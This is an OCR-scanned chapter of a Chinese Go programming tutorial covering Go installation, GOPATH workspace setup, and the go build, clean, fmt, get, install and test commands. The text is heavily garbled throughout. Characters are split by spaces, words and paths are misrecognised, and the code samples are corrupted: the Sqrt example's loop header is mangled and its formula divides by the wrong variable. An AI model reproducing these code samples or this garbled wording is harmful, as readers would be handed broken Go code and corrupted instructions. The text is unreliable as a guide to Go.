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1 GO 环境 配置 


欢迎 来 到 Go 的 世界 ， 让 我 们 开始 探索 吧 | 
Go 是 一 种 新 的 语言 ， 一 种 并 发 的 、 带 垃圾 回收 的 、 快 速 编译 的 语言 。 它 具有 以 下 特 
点 : 


DANN 


e 它 可 以 在 一 台 计 算 机 上 用 几 秒 钟 的 时 间 编 译 一 个 大 型 的 Go 程序 。 
e Go 为 软件 构造 提供 了 一 种 模型 ， 它 使 依赖 分 析 更 加 容易 ， 且 避免 了 大 部 分 C 风 
格 include 文 件 与 库 的 开头 。 
。 Go 是 静态 类 型 的 语言 ， 它 的 类 型 系统 没有 层级 。 因 此 用 户 不 需要 在 定义 类 型 之 
间 的 关系 上 花费 时 间 ， 这 样 感觉 起 来 比 典型 的 面向 对 象 语言 更 轻 量 级 。 
。 Go 完全 是 垃圾 回收 型 的 语言 ， 并 为 并 发 执行 与 通信 提供 了 基本 的 支持 。 
e 按照 其 设计 ，Go 打 算 为 多 核 机 器 上 系统 软件 的 构造 提供 一 种 方法 。 
Go 是 一 种 编译 型 语言 ， 它 结合 了 解释 型 语言 的 游 为 有 余 ， 动 态 类 型 语言 的 开发 效 
率 ， 以 及 静态 类 型 的 安全 性 。 它 也 打算 成 为 现代 的 ， 支 持 网 络 与 多 核 计算 的 语言 。 
要 满足 这 些 目 标 ， 需 要 解决 一 些 语言 上 的 问题 : 一 个 富有 表达 能 力 但 轻 量 级 的 类 型 
系统 ， 并 发 与 垃圾 回收 机 制 ， 严 格 的 依赖 规范 等 等 。 这 些 无 法 通过 库 或 工具 解决 
好 ， 因 此 Go 也 就 应 运 而 生 了 。 


在 本 章 中 ， 我 们 将 讲述 Go 的 安装 方法 ， 以 及 如 何 配置 项 目 信 息 。 


目录 


1.1 Go 安装 


Go 的 三 种 安装 方式 


Go 有 多 种 安装 方式 ， 你 可 以 选择 自己 喜欢 的 。 这 里 我 们 介绍 三 种 最 常见 的 安装 方 


W 


。 Go 源码 安装 : 这 是 一 种 标准 的 软件 安装 方式 。 对 于 经 常 使 用 Unix 类 系统 的 用 
户 ， 尤 其 对 于 开发 者 来 说 ， 从 源码 安装 可 以 自己 定制 。 

e。 Go 标准 包 安 装 : Go 提供 了 方便 的 安装 包 ， 支 持 Windows、Linux、Mac 等 系 
统 。 这 种 方式 适合 快速 安装 ， 可 根据 自己 的 系统 位 数 下 载 好 相应 的 安装 包 ， 一 
路 next 就 可 以 轻松 安装 了 。 推 荐 这 种 方式 

。 第 三 方 工 具 安 装 : 目前 有 很 多 方便 的 第 三 方 软件 包工 具 ， 例 如 Ubuntu 的 apt- 
get、Mac 的 homebrew 等 。 这 种 安装 方式 适合 那些 熟悉 相应 系统 的 用 户 。 


最 后 ， 如 果 你 想 在 同一 个 系统 中 安装 多 个 版 本 的 Go， 你 可 以 参考 第 三 方 工 
具 GVM， 这 是 目前 在 这 方面 做 得 最 好 的 工具 ， 除 非 你 知道 怎么 处 理 。 


Goh BR 

在 Go 的 源 代 码 中 ， 有 些 部 分 是 用 Plan 9 C 和 AT&T 汇 编写 的 ， 因 此 假如 你 要 想 从 源 
码 安装 ， 就 必须 安装 C 的 编译 工具 。 

在 Mac 系 统 中 ， 只 要 你 安装 了 Xcode， 就 已 经 包含 了 相应 的 编译 工具 。 


在 类 Unix 系 统 中 ， 需 要 安装 gcc 等 工具 。 例 如 Ubuntu 系统 可 通过 在 终端 中 执 
行 sudo apt-get install gcc Libc6-dev 来 安装 编译 工具 。 


在 Windows 系 统 中 ， 你 需要 安装 MinGW， 然 后 通过 MinGW 安 装 gcc， 并 设置 相应 的 
环境 变量 。 

你 可 以 直接 去 官网 下 载 源码 ， 找 相应 的 goVERSION.src.tar.gz 的 文件 下 载 ， 下 
载 之 后 解压 缩 到 $HOME 目录 ， 执 行 如 下 代码 : 


cd go/src 
./all.bash 


运行 all.bash 后 出 现 "ALL TESTS PASSED" 字 样 时 才 算 安装 成 功 。 
上 面 是 Unix 风 格 的 命 售 ，Windows 下 的 安装 方式 类 似 ， 只 不 过 是 运行 all.bat ， 
调用 的 编译 器 是 MinGW 的 gcc。 


如 果 是 Mac 或 者 Unix 用 户 需 要 设置 几 个 环境 变量 ， 如 果 想 重启 之 后 也 能 生效 的 话 把 
下 面 的 命令 写 到 .bashrc 或 者 .zshrc 里 面 ， 


export GOPATH=$HOME/gopath 
export PATH=$PATH: $HOME/go/bin:$GOPATH/bin 


如 果 你 是 写 入 文件 的 ， 记 得 执行 bash .bashrc 或 者 bash .zshrc 使 得 设置 立马 
生效 。 


如 果 是 window 系 统 ， 就 需要 设置 环境 变量 ， 在 path 里 面 增加 相应 的 go 所 在 的 目录 ， 
设置 gopath 变 量 。 


当 你 设置 完 半 之 后 在 命令 行 里 面 输入 go ， 看 到 如 下 图 片 即 说 明 你 已 经 安装 成 功 


图 1.1 源码 安装 之 后 执行 Go 命令 的 图 


如 果 出 现 Go 的 Usage 信 息 ， 那 么 说 明 Go 已 经 安装 成 功 了 ; 如 果 出 现 该 命令 不 存 
在 ， 那 么 可 以 检查 一 下 自己 的 PATH 环境 变 中 是 否 包 含 了 Go 的 安装 目录 。 


关于 上 面 的 GOPATH 将 在 下 面 小 节 详 细 讲 解 


Go 标准 包 安 装 


Go 提供 了 每 个 平台 打 好 包 的 一 键 安 装 ， 这 些 包 默 认 会 安装 到 如 下 目 
录 : /usr/local/go (Windows 和 有 系统 : c\Go)， 当 然 你 可 以 改变 他 们 的 安装 位 置 ， 但 是 
改变 之 后 你 必须 在 你 的 环境 变量 中 设置 如 下 信息 : 


export GOROOT=$HOME/go 
export GOPATH=$HOME/gopath 
export PATH=$PATH: $GOROOT/bin: $GOPATH/bin 


上 面 这 些 命 令 对 于 Mac 和 Unix 用 户 来 说 最 好 是 宇和 信 .bashrc 或 者 .zshrc 文件 ， 
对 于 windows 用 户 来 说 当然 是 写 入 环境 变量 。 


如 何 判断 自己 的 操作 系统 是 32 位 还 是 64 位 ? 


我 们 接 下 来 的 Go 安装 需要 判断 操作 系统 的 位 数 ， 所 以 这 小 节 我 们 先 确定 自己 的 系统 
类 型。 


Windows 系 统 用 户 请 按 Win+R 运 行 cmd， 输 入 systeminfo 后 回 车 ， 稍 等 片刻 ， 会 
出 现 一 些 系 统 信息 。 在 "系统 类 型 "一 行 中 ， 若 显示 “x64-based PC”， 即 为 64 位 系 
统 ; 若 显示 “X86-based PC”， 则 为 32 位 系统 。 


Mac 系 统 用 户 建议 直接 使 用 64 位 的 ， 因 为 Go 所 支持 的 Mac OS X 版 本 已 经 不 支持 纯 
32 位 处 理 嚣 了。 


Linux 系 统 用 户 可 通过 在 Terminal 中 执行 命令 arch (Ef uname -m ) 来 查看 系统 信 
自 


/PN 1， 


64 位 系统 显示 


x86_64 


32 位 系统 显示 


1386 
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访问 下 载 地 址 ，32 位 系统 下 载 go1.4.2.darwin-386-osx10.8.pkg，64 位 系统 下 载 
go1.4.2.darwin-amd64-osx10.8.pkg， 双 击 下 载 文件 ， 一 路 默认 安装 点 击 下 一 步 ， 
这 个 时 候 go 已 经 安装 到 你 的 系统 中 ， 默 认 已 经 在 PATH 中 增加 了 相应 的 ~/go/bin , 
这 个 时 候 打 开 终 端 ， 输 入 go 


看 到 类 似 上 面 源码 安装 成 功 的 图 片 说 明 已 经 安装 成 功 

如 果 出 现 go 的 Usage 信 息 ， 那 么 说 明 go 已 经 安装 成 功 了 ; 如 果 出 现 该 命令 不 存在 ， 
那么 可 以 检查 一 下 自己 的 PATH 环境 变 中 是 否 包 含 了 go 的 安装 目录 。 

Linux 安装 


访问 下 载 地 址 ，32 位 系统 下 载 go1.4.2.linux-386.targz，64 位 系统 下 载 
go1.4.2.linux-amd64.tar.gz, 


假定 你 想 要 安装 Go 的 目录 为 $60_INSTALL DIR ， 后 面 替 换 为 相应 的 目录 路 径 。 


解压 缩 tar.gz 包 到 安装 目录 
下 : tar zxvf go1.4.2.linux-amd64.tar.gz -C $GO_INSTALL_DIR 。 


设置 PATH， export PATH=$PATH:$GO_INSTALL_DIR/go/bin 


图 1.2 Linux 系 统 下 安装 成 功 之 后 执行 go 显示 的 信息 

如 果 出 现 go 的 Usage 信 息 ， 那 么 说 明 go 已 经 安装 成 功 了 ; 如 果 出 现 该 命令 不 存在 ， 
那么 可 以 检查 一 下 自己 的 PATH 环境 变 中 是 否 包含 了 go 的 安装 目录 。 

Windows 安装 


访问 Google Code FAR, 32 位 请 选择 名 称 中 包含 windows-386 的 msi 安装 包 ， 
64 位 请 选择 名 称 中 包含 windows-amd64 的 。 下 载 好 后 运行 ， 不 要 修改 默认 安装 目 
录 CA\Gov， 若 安装 到 其 他 位 置 会 导致 不 能 执行 自己 所 编写 的 Go 代码 。 安 装 完 成 后 


默认 会 在 环境 变量 Path 后 添加 Go 安装 目录 下 的 bin 目录 C:\Go\bin\ ， 并 添加 
环境 变量 GOROOT， 值 为 Go 安装 根 目 录 C:\Go\ 。 


验证 是 否 安装 成 功 

在 运行 中 输入 cmd 打开 命令 行 工具 ， 在 提示 符 下 输入 go ， 检 查 是 否 能 看 到 
Usage 信息 。 输 入 cd %GOROOT% ， 看 是 否 能 进入 Go 安装 目录 。 若 都 成 功 ， 说 明 
安装 成 功 。 


不 能 的 话 请 检查 上 述 环境 变量 Path 和 GOROOT 的 值 。 若 不 存在 请 卸载 后 重新 安 
装 ， 存 在 请 重启 计算 机 后 重 试 以 上 步 又。 


第 三 方 工 具 安 装 


GVM 


gvm 是 第 三 方 开发 的 Go 多 版 本 管理 工具 ， 类 似 ruby 里 面 的 rvm 工 具 。 使 用 起 来 相当 
的 方便 ， 安 装 gvm 使 用 如 下 命令 : 


bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/g\ 
E — Ee 
安装 完成 后 我 们 就 可 以 安装 go 了 : 





gvm install go1.4.2 
gvm use go1.4.2 


也 可 以 使 用 下 面 的 命令 ， 省 去 每 次 调用 gvm use 的 麻烦 : gvm use go1.4.2 --default 


执行 完 上 面 的 命令 之 后 GOPATH、GOROOT 等 环境 变量 会 自动 设置 好 ， 这 样 就 可 
以 直接 使 用 了 。 


apt-get 


Ubuntu 是 目前 使 用 最 多 的 Linux 桌 面 系 统 ， 使 用 apt-get 命令 来 管理 软件 包 ， 我 
们 可 以 通过 下 面 的 命令 来 安装 Go， 为 了 以 后 方便 ， 应 该 把 git mercurial 也 
安装 上 : 


sudo apt-get install python-software-properties 

sudo add-apt-repository ppa:gophers/go 

sudo apt-get update 

sudo apt-get install golang-stable git-core mercurial 


homebrew 


homebrew 是 Mac 系 统 下 面目 前 使 用 最 多 的 管理 软件 的 工具 ， 目 前 已 支持 Go， 可 以 
通过 命令 直接 安装 Go， 为 了 以 后 方便 ， 应 该 把 git mercurial 也 安装 上 : 


brew update && brew upgrade 
brew install go 

brew install git 

brew install mercurial 


links 
e 目录 
e 上 一 节 : Go 环境 配置 
e 下 一 节 : GOPATH 与 工作 空间 


1.2 GOPATH 与 工作 空间 


前 面 我 们 在 安装 Go 的 时 候 看 到 需要 设置 GOPATH 变 量 ，Go 从 1.1 版 本 开始 必须 设置 
这 个 变量 ， 而 且 不 能 和 Go 的 安装 目录 一 样 ， 这 个 目录 用 来 存放 Go 源码 ， eae 
行文 件 ， 以 及 相应 的 编译 之 后 的 包 文 件 。 所 以 这 个 目录 下 面 有 三 个 子 目 录 : src、 
bin, pkg 


GOPATH jx E 


go 命令 依赖 一 个 重要 的 环境 变量 : $SGOPATH 


Windows 系 统 中 环境 变量 的 形式 为 %GOPATH% ， 本 书 主 要 使 用 Unix 形 式 ， 
Windows 用 户 请 自行 替换 。 


GE: 这 个 不 是 Go 安装 目录 。 下 面 以 笔者 的 工作 目录 为 示例 ， 如 果 你 想 不 一 样 请 把 
GOPATH 蔡 换 成 你 的 工作 目录 。) 


在 类 似 Unix 环境 大 概 这 样 设置 


export GOPATH=/home/apple/mygo 


为 了 方便 ， 应 该 新 建 以 上 文件 夹 ， 并 且 上 一 行 加 入 到 .bashrc 或 者 .zshrc 或 
者 自己 的 sh 的 配置 文件 中 。 


Windows 设置 如 下 ， 新 建 一 个 环境 变量 名 称 叫 做 GOPATH : 


GOPATH=c : \mygo 


GOPATH 人 允许 多 个 目录 ， 当 有 多 个 目录 时 ， 请 注意 分 隔 符 ， 多 个 目录 的 时 候 
Windows 是 分 号 ，Linux 系 统 是 冒号 ， 当 有 多 个 GOPATH 时 ， 默 认 会 将 go get 的 内 容 
放 在 第 一 个 目录 下 。 


以 上 $GOPATH 目录 约定 有 三 个 子 目录 : 


e src 存放 源 代 码 (比如 : .go .c .h .s 等 ) 

e pkg 编译 后 生成 的 文件 (比如 : .a) 

e bin 编译 后 生成 的 可 执行 文件 (为 了 方便 ， 可 以 把 此 目录 加 入 到 $PATH 变量 
中 ， 如 果 有 多 个 gopath， 那 么 使 用 ${GOPATH//://bin:}/bin 添加 所 有 的 bin 
目录 ) 


以 后 我 所 有 的 例子 都 是 以 mygo 作 为 我 的 gopath 目 录 


代码 目录 结构 规划 


GOPATH 下 的 src 目 录 就 是 接 下 来 开发 程序 的 主要 目录 ， 所 有 的 源码 都 是 放 在 这 个 
目录 下 面 ， 那 么 一 般 我 们 的 做 法 就 是 一 个 目录 一 个 项 目 ， 例 如 : 
$GOPATH/src/mymath 表示 mymath 这 个 应 用 包 或 者 可 执行 应 用 ， 这 个 根据 
package 是 main 还 是 其 他 来 决定 ，main 的 话 就 是 可 执行 应 用 ， 其 他 的 话 就 是 应 用 
包 ， 这 个 会 在 后 续 详 细 介 绍 package。 


所 以 当 新 建 应 用 或 者 一 个 代码 包 时 都 是 在 src 目 录 下 新 建 一 个 文件 夹 ， 文 件 夹 名 称 一 
般 是 代码 包 名 称 ， 当 然 也 人 允许 多 级 目录 ， 例 如 在 src 下 面 新 建 了 目录 
$GOPATH/src/github.com/astaxie/beedb 那么 这 个 包 路 径 就 

是 "github.com/astaxie/beedb"， 包 名 称 是 最 后 一 个 目录 beedb 


下 面 我 就 以 mymath 为 例 来 讲述 如 何 编写 应 用 包 ， 执 行 如 下 代码 


cd $GOPATH/src 
mkdir mymath 


新 建文 件 sqrt.go， 内 容 如 下 


' $GOPATH/src/mymath/sqrt .go 源码 如 下 : 


package mymath 


func Sqrt(x float64) float64 { 


7A e= Oe] 

for i. ss 0; 1 < 1000; i++ £ 
z -= (z*z - x) / (2 * x) 

} 

return z 


这 样 我 的 应 用 包 目 录 和 代码 已 经 新 建 完毕 ， 注 意 : 一 般 建议 package 的 名 称 和 目录 
名 保持 一 致 


编译 应 用 


上 面 我 们 已 经 建立 了 自己 的 应 用 包 ， 如 何 进 行 编译 安装 呢 ? 有 两 种 方式 可 以 进行 安 
y+ 
Be 
1、 只 要 进入 对 应 的 应 用 包 目 录 ， 然 后 执行 go install ， 就 可 以 安装 了 
2、 在 任意 的 目录 执行 如 下 代码 go install mymath 
安装 完 之 后 ， 我 们 可 以 进入 如 下 目录 
cd $GOPATH/pkg/${GO0S}_${GOARCH} 


// 可 以 看 到 如 下 文件 
mymath.a 


这 个 .a 文件 是 应 用 包 ， 那 么 我 们 如 何 进行 调用 呢 ? 
接 下 来 我 们 新 建 一 个 应 用 程序 来 调用 这 个 应 用 包 
新 建 应 用 包 mathapp 


cd $GOPATH/src 
mkdir mathapp 
cd mathapp 
vim main.go 


$GOPATH/src/mathapp/main.go 源码 : 


package main 


import ( 
"mymath" 
W fmt W 

) 


func main() { 
fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) 
} 


到 
可 以 看 到 这 个 的 package 是 main ，import 里 面 调用 的 包 是 mymath ,这 个 就 是 相对 


于 $GOPATH/src 的 路 径 ， 如 果 是 多 级 目录 ， 就 在 import 里 面 引 入 多 级 目录 ， 如 果 
你 有 多 个 GOPATH， 也 是 一 样 ，Go 会 自动 在 多 个 $6GOPATH/src 中 寻找 。 


如 何 编译 程序 呢 ? 进入 该 应 用 目录 ， 然 后 执行 go build ， 和 那么 在 该 目录 下 面 会 生 
成 一 个 mathapp 的 可 执行 文件 


./mathapp 


输出 如 下 内 容 


Hello, world. Sqrt(2) = 1.414213562373095 


如 何 安装 该 应 用 ， 进 入 该 目录 执行 go install ,那么 在 SGOPATH/bin/ 下 增加 了 一 
个 可 执行 文件 mathapp, 还 记得 前 面 我 们 把 $60PATH/bin 加 到 我 们 的 PATH 里 面 
了 ， 这 样 可 以 在 命令 行 输入 如 下 命令 就 可 以 执行 


mathapp 


也 是 输出 如 下 内 容 


Hello, world. Sqrt(2) = 1.414213562373095 
这 里 我 们 展示 如 何 编译 和 安装 一 个 可 运行 的 应 用 ， 以 及 如 何 设计 我 们 的 目录 结构 。 


获取 远程 包 


go 语言 有 一 个 获取 远程 包 的 工具 就 是 go get, Aigo get 支 持 多 数 开源 社区 ( 例 
如 : github, oe bitbucket, Launchpad) 


go get github.com/astaxie/beedb 


go get -u 参数 可 以 自动 更 新 包 ， 而 且 当 go get 的 时 候 会 自动 获取 该 包 依赖 的 其 
他 第 三 方 包 


通过 这 个 命令 可 以 获取 相应 的 源码 ， 对 应 的 开源 平台 采用 不 同 的 源码 控制 工具 ， 例 
如 github 采 用 git、googlecode 采 用 hg， 所 以 要 想 获 取 这 些 源码 ， 必 须 先 安装 相应 的 
源码 控制 工具 


面 获取 的 代码 在 我 们 本 地 的 源码 相应 的 代码 结构 如 下 


$GOPATH 
src 
| --github.com 
|-astaxie 
| -beedb 
pkg 
| - -相应 平台 
|-github ,com 
| --astaxie 
|beedb.a 


go get 本 质 上 可 以 理解 为 首先 第 一 步 是 通过 源码 工具 clone 代 码 到 src 下 面 ， 然 后 执 
行 go install 


在 代码 中 如 何 使 用 远程 包 ， 很 简单 的 就 是 和 使 用 本 地 包 一 样 ， 只 要 在 开头 import 相 
应 的 路 径 就 可 以 


import "github.com/astaxie/beedb" 


程序 的 整体 结构 


通过 上 面 建立 的 我 本 地 的 mygo 的 目录 结构 如 下 所 示 


bin/ 
mathapp 
pkg/ 
平台 名 / 如 : darwin_amd64, linux_amd64 
mymath.a 
github.com/ 
astaxie/ 


beedb.a 
src/ 


mathapp 
main.go 
mymath/ 
sqrt.go 
github.com/ 
astaxie/ 
beedb/ 
beedb.go 
util.go 


从 上 面 的 结构 我 们 可 以 很 清晰 的 看 到 ，bin 目 录 下 面 存 的 是 编译 之 后 可 执行 的 文件 ， 
pkg 下 面 存放 的 是 应 用 包 ，src 下 面 保 存 的 是 应 用 源 代码 


Go 语言 自 带 有 一 套 完整 的 命令 操作 工具 ， 你 可 以 通过 在 命令 行 中 执行 go 来 查看 


图 1.3 Go 命令 显示 详细 的 信息 


这 些 


To 


> 


go 


这 个 
联 的 


命 全 对 于 我 们 平时 编写 的 代码 非常 有 用 ， 接 下 来 就 让 我 们 了 解 一 些 常用 的 命 


build 


命令 主要 用 于 编译 代码 。 在 包 的 编译 过 程 中 ， 若 有 必要 ， 会 同时 编译 与 之 相关 
包 。 


如 果 是 普通 包 ， 就 像 我 们 在 1.2 节 中 编写 的 mymath 包 那 样 ， 当 你 执 
行 go build 之 后 ， 它 不 会 产生 任何 文件 。 如 果 你 需要 在 SGOPATH/pkg FÆ 
成 相应 的 文件 ， 那 就 得 执行 go install 。 


如 果 是 main 包 ， 当 你 执行 go build 之 后 ， 它 就 会 在 当前 目录 下 生成 一 
可 执行 文件 。 如 果 你 需要 在 $6GOPATH/bin 下 生成 相应 的 文件 ， 需 要 执 
行 go install ， 或 者 使 用 go build -o 路 径 /a.exe 。 


如 果 某 个 项 目 文件 夹 下 有 多 个 文件 ， 而 你 只 想 编译 某 个 文件 ， 就 可 
在 go build 之 后 加 上 文件 名 ， 例 如 go build a.go ; go build APH 
认 会 编译 当前 目录 下 的 所 有 go 文件 。 


你 也 可 以 指定 编译 输出 的 文件 名 。 例 如 1.2 节 中 的 mathapp 应 用 ， 我 们 可 以 指 
定 go build -o astaxie.exe ， 默 认 情 况 是 你 的 package 名 ( 非 main 包 )， 或 
者 是 第 一 个 源 文件 的 文件 名 (main 包 )。 


GE: 实际 上 ，package 名 在 Go 语言 规范 中 指 代 码 中 “package” 后 使 用 的 名 
称 ， 此 名 称 可 以 与 文件 夹 名 不 同 。 默 认 生 成 的 可 执行 文件 名 是 文件 夹 名 。) 


如果 你 的 源 代 马 针对 不 同 的 操作 条 统 需 要 不 同 的 公理 那么 你 可 以 根据 不 同 的 
操作 系统 后 级 来 命名 文件 。 例 如 有 一 个 读 取 数组 的 程序 ， 它 对 于 不 同 的 操作 系 
统 可 能 有 如 下 几 个 源 文件 : 


array_linux.go array_darwin.go array_windows.go array_freebsd.go 


go build 的 时 候 会 选择 性 地 编译 以 系统 名 结尾 的 文件 (Linux, Darwin, 
Windows, Freebsd) 。 例 如 Linux 系 统 下 面 编译 只 会 选择 array_linux.go 文 件 ， 
其 它 系 统 命名 后 级 文件 全 部 忽略 。 


参数 的 介绍 


-0 指定 输出 的 文件 名 ， 可 以 带 上 路 径 ， 例 如 go build -o a/b/c 

-i 安装 相应 的 包 ， 编 译 + go install 

-a 更 新 全 部 已 经 是 最 新 的 包 的 ， 但 是 对 标准 包 不 适用 

-n 把 需要 执行 的 编译 命令 打印 出 来 ， 但 是 不 执行 ， 这 样 就 可 以 很 容易 的 知 
道 底层 是 如 何 运行 的 

-p n 指定 可 以 并 行 可 运行 的 编译 数目 ， 默 认 是 CPU 数目 

-race 开启 编译 的 时 候 自 动 检测 数据 竞争 的 情况 ， 目 前 只 支持 64 位 的 机 器 
-v 打印 出 来 我 们 正在 编译 的 包 名 

-work 打印 出 来 编译 时 候 的 临时 文件 夹 名 称 ， 并 且 如 果 已 经 存在 的 话 就 不 要 
删除 

-x 打印 出 来 执行 的 命令， 其 实 就 是 和 -n 的 结果 类 似 ， 只 是 这 个 会 执行 
-ccflags 'arg list' 传递 参数 给 5c, 6c, 8c 调用 

-compiler name 指定 相应 的 编译 器 ，gccgo 还 是 gc 

-gccgoflags 'arg list' 传递 参数 给 gccgo 编 译 连接 调用 

-gcflags 'arg list' 传递 参数 给 5g, 6g, 8g 调用 

-installsuffix suffix 为 了 和 默认 的 安装 包 区 别 开 来 ， 采 用 这 个 前 级 来 
重新 安装 那些 依赖 的 包 ， -race 的 时 候 默 认 已 经 是 -installsuffix race , 
大 家 可 以 通过 -n 命令 来 验证 

-ldflags 'flag list' 传递 参数 给 51 6l, 8| 调用 

-tags 'tag list' 设置 在 编译 的 时 候 可 以 适 配 的 那些 tag， 详 细 的 tag 限 制 
参考 里 面 的 Build Constraints 


go clean 
这 个 命令 是 用 来 移 除 当前 源码 包 和 关联 源码 包 里面 编 译 生 成 的 文件 。 这 些 文件 包括 


_obj/ 旧 的 object 目 录 ， 由 Makefiles 遗 留 
_test/ 旧 的 test 目 录 ， 由 Makefiles 遗 留 
_testmain.go 旧 的 gotest 文 件 ， 由 Makefiles 遗 留 
test.out 旧 的 test 记 录 ， 由 Makefiles 遗 留 
build.out 旧 的 test 记 录 ， 由 Makefiles 遗 留 
*,[568ao] object 文 件 ， 由 Makefiles 遗 留 
DIR( .exe) 由 go build 产 生 


DIR.test(.exe) 由 go test -c 产 生 
MAINFILE(.exe) ”由 go build MAINFILE.go 产 生 
SO 由 SWIG 产生 


我 一 般 都 是 利用 这 个 命令 清除 编译 文件 ， 然 后 github 递 交 源码 ， 在 本 机 测试 的 时 候 
这 些 编译 文件 都 是 和 系统 相关 的 ， 但 是 对 于 源码 管理 来 说 没 必要 。 


$ go clean -i -n 

cd /Users/astaxie/develop/gopath/src/mathapp 

rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe 
rm -f /Users/astaxie/develop/gopath/bin/mathapp 


cp | 
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参数 介绍 


。 -i 清除 关联 的 安装 的 包 和 可 运行 文件 ， 也 就 是 通过 go install 安 装 的 文件 

e -n 把 需要 执行 的 清除 命 合 打 印 出 来 ， 但 是 不 执行 ， 这 样 就 可 以 很 容易 的 知 
道 底层 是 如 何 运行 的 

e -r 循环 的 清除 在 import 中 引入 的 包 

e -x 打印 出 来 执行 的 详细 命令 ， 其 实 就 是 -n 打印 的 执行 版 本 


go fmt 


有 过 C/C++ 经 验 的 读者 会 知道 ,一 些 人 经 常 为 代码 采取 K&R 风格 还 是 ANSI 风 格 而 争 

论 不 体 。 在 go 中 ， 代 码 则 有 标准 的 风格 。 由 于 之 前 已 经 有 的 一 些 习 惯 或 其 它 的 原因 
我 们 常 将 代码 写成 ANSI 风 格 或 者 其 它 更 合适 自己 的 格式 ， 这 将 为 人 们 在 阅读 别人 的 
代码 时 添加 不 必要 的 负担 ， 所 以 go 强制 了 代码 格式 (比如 左 大 括号 必须 放 在 行 

尾 ) ， 不 按照 此 格式 的 代码 将 不 能 编译 通过 ， 为 了 减少 浪费 在 排版 上 的 时 间 ，go 工 
具 集 中 提供 了 一 个 go fmt 命令 它 可 以 帮 你 格式 化 你 写 好 的 代码 文件 ， 使 你 写 代 

码 的 时 候 不 需要 关心 格式 ， 你 只 需要 在 写 完 之 后 执行 go fmt < 文件 名 >.go ， 你 的 
代码 就 被 修改 成 了 标准 格式 ， 但 是 我 平常 很 少 用 到 这 个 命令 ， 因 为 开发 工具 里 面 一 
般 都 带 了 保存 时 候 自动 格式 化 功能 ， 这 个 功能 其 实在 底层 就 是 调用 了 go fmt 。 接 
下 来 的 一 节 我 将 讲述 两 个 工具 ， 这 两 个 工具 都 自 带 了 保存 文件 时 自动 化 go fmt 功 
能 。 

使 用 go fmt 命 令 ， 其 实 是 调用 了 gofmt， 而 且 需 要 参数 -w， 和 否则 格式 化 结果 不 会 写 和 人 
文件 。gofmt -w -| src， 可 以 格式 化 整个 项 目 。 


所 以 go fmt 是 gofmt 的 上 层 一 个 包装 的 命令 ， 我 们 想 要 更 多 的 个 性 化 的 格式 化 可 以 参 
考 gofmt 


gofmt 的 参数 介绍 


-1 显示 那些 需要 格式 化 的 文件 

-Ww 把 改 宇 后 的 内 容 直接 写 入 到 文件 中 ， 而 不 是 作为 结果 打印 到 标准 输出 。 

添加 形 如 “a[b:len(a)] -> af[b:]” 的 重 写 规则 ， 方 便 我 们 做 批量 替换 

简化 文件 中 的 代码 

-d 显示 格式 化 前 后 的 diff 而 不 是 写 入 文件 ， 默 认 是 false 

-e 打印 所 有 的 语法 错误 到 标准 输出 。 如 果 不 使 用 此 标记 ， 则 只 会 打印 不 同 
行 的 前 10 个 错误 。 

e -cpuprofile 支持 调试 模式 ， 写 入 相应 的 cpufile 到 指定 的 文件 


eee ọọ @ o 
OW 三 


go get 


这 个 命令 是 用 来 动态 获取 远程 代码 包 的 ， 目 前 支持 的 有 BitBucket、GitHub、 
Google Code 和 Launchpad。 这 个 命令 在 内 部 实际 上 分 成 了 两 步 操作 : 第 一 步 是 下 
载 源 码 包 ， 第 二 步 是 执行 go install 。 下 载 源 码 包 的 go 工具 会 自动 根据 不 同 的 
域名 调用 不 同 的 源码 工具 ， 对 应 关系 如 下 : 


BitBucket (Mercurial Git) 

GitHub (Git) 

Google Code Project Hosting (Git, Mercurial, Subversion) 
Launchpad (Bazaar ) 


所 以 为 了 go get 能 正常 工作 ， 你 必须 确保 安装 了 合适 的 源码 管理 工具 ， 并 同时 
把 这 些 命令 加 入 你 的 PATH 中 。 其 实 go get 支持 自 定义 域名 的 功能 ， 具 体 参 
见 go help remote 。 


参数 介绍 : 


e -d 只 下 载 不 安装 

。 -f 只 有 在 你 包含 了 -u 参数 的 时 候 才 有 效 ， 不 让 -u 去 验证 import 中 的 每 
一 个 都 已 经 获取 了 ， 这 对 于 本 地 fork 的 包 特 别 有 用 

e -fix 在 获取 源码 之 后 先 运行 fx， 然 后 再 去 做 其 他 的 事情 

。 -t 同时 也 下 载 需要 为 运行 测试 所 需要 的 包 

e -u 强制 使 用 网 络 去 更 新 包 和 它 的 依赖 包 

e -v 显示 执行 的 命令 


go install 
这 个 命令 在 内 部 实际 上 分 成 了 两 步 操 作 : 第 一 步 是 生成 结果 文件 (可 执行 文件 或 者 .a 
包 )， 第 二 步 会 把 编译 好 的 结果 移 到 $GOPATH/pkg 或 者 SGOPATH/bin 。 


参数 支持 go build 的 编译 参数 。 大 家 只 要 记 住 一 个 参数 -v 就 好 了 ， 这 个 随时 
随地 的 可 以 查看 底层 的 执行 信息 。 


go test 


执行 这 个 命令 ， 会 自动 读 取 源 码 目录 下 面 名 为 *_test .go 的 文件 ， 生 成 并 运行 测 
试用 的 可 执行 文件 。 输 出 的 信息 类 似 


OK archive/tar 0.011s 
FAIL archive/zip 0.022s 
ok compress/gzip 0.033s 


默认 的 情况 下 ， 不 需要 任何 的 参数 ， 它 会 自动 把 你 源码 包 下 面 所 有 test 文 件 测试 完 
毕 ， 当 然 你 也 可 以 带 上 参数 ， 详 情 请 参考 go help testflag 


这 里 我 介绍 几 个 我 们 常用 的 参数 : 


e -bench regexp 执行 相应 的 benchmarks， 例 如 -bench=. 

e -cover 开启 测试 覆盖 率 

e -run regexp 只 运行 regexp 匹 配 的 画 数 ， 例 如 -run=Array 那么 就 执行 包 
含有 Array 开 头 的 函数 


e -v 显示 测试 的 详细 命 兮 


go tool 


go tool 下 面 下 载 聚集 了 很 多 命令 ， 这 里 我 们 只 介绍 两 个 ，fix 和 vet 


e go tool fix . 用 来 修复 以 前 老 版 本 的 代码 到 新 版 本 ， 例 如 go1 之 前 老 版 本 
的 代码 转化 到 go1, 例 如 API 的 变化 

e go tool vet directory|files 用 来 分 析 当 前 目录 的 代码 是 否 都 是 正确 的 
代码 ,例如 是 不 是 调用 fmt.Printf 里 面 的 参数 不 正确 ， 例 如 汞 数 里 面 提前 return 了 
然后 出 现 了 无 用 代码 之 类 的 。 


go generate 


